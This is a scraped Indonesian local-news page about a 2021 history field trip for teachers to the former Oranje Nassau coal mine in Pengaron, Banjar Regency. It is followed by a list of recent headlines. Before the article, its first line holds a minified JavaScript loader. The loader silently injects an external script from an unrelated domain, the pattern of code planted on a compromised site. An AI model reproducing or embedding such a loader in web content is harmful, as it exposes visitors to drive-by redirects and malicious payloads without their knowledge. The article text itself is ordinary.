(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Lawatan Sejarah di Bekas Tambang Batu Bara Oranje Nassau


KANALKALIMANTAN.COM, MARTAPURA – Dinas Kebudayaan dan Pariwisata (Disbudpar) Kabupaten Banjar melalui bidang kebudayaan melaksanakan kegiatan lawatan sejarah daerah tahun 2021, Kamis (28/10/2021).

Lawatan sejarah daerah dilaksanakan di bekas tambang batu bara Oranje Nassau di Kecamatan Pengaron, Kabupaten Banjar.

Tambang Oranje Nassau merupakan tambang batu bara pertama di Indonesia yang dibangun Belanda pada tahun 1848. Kemudian diresmikan satu tahun setelahnya yaitu pada tahun 1849 atau 10 tahun lebih dulu sebelum Belanda membangun tambang batu bara Ombilin di Sawahlunto, Provinsi Sumatera Barat.

Sekretaris Dinas Kebudayaan dan Pariwisata Kabupaten Banjar H Muhammad Arsyad mengatakan, peserta kegiatan lawatan sejarah daerah di antaranya guru IPS di SMP Kabupaten Banjar dan juru pelihara atau informan sejarah cagar budaya Kabupaten Banjar.

 

 

Dari Balai Arkeologi Banjarmasin Wilayah Kerja Kalimantan Selatan, Nugroho Susanto, narasumber pada lawatan sejarah mengungkapkan, pada masa kini banyak sekali digalakan kegiatan yang mengajak generasi penerus  untuk lebih mengenal dan mencintai sejarah bangsa Indonesia, khususnya sejarah daerah salah satunya adalah lawatan sejarah.

Sejarah sangat penting dalam kehidupan suatu bangsa, karena sejarah merupakan gambaran kehidupan masyarakat di masa lampau.

“Melalui sejarah kita dapat lebih mengetahui dan memahami apa yang telah terjadi di masa lalu. Peristiwa atau kejadian yang telah terjadi tersebut dapat kita jadikan pedoman dan acuan dalam kehidapan bermasyarakat, berbangsa dan bernegara di masa kini maupun masa yang akan datang,” bebernya.

Banyak hal positif yang dapat disingkap dan dipelajari dari bekas tambang batubara Oranje Nassau  melalui kegiatan lawatan sejarah daerah ini, baik dari sisi sejarah, ilmu pengetahuan lainnya maupun lingkungan. (kanalkalimantan.com/rls)

Reporter : rls
Editor : kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.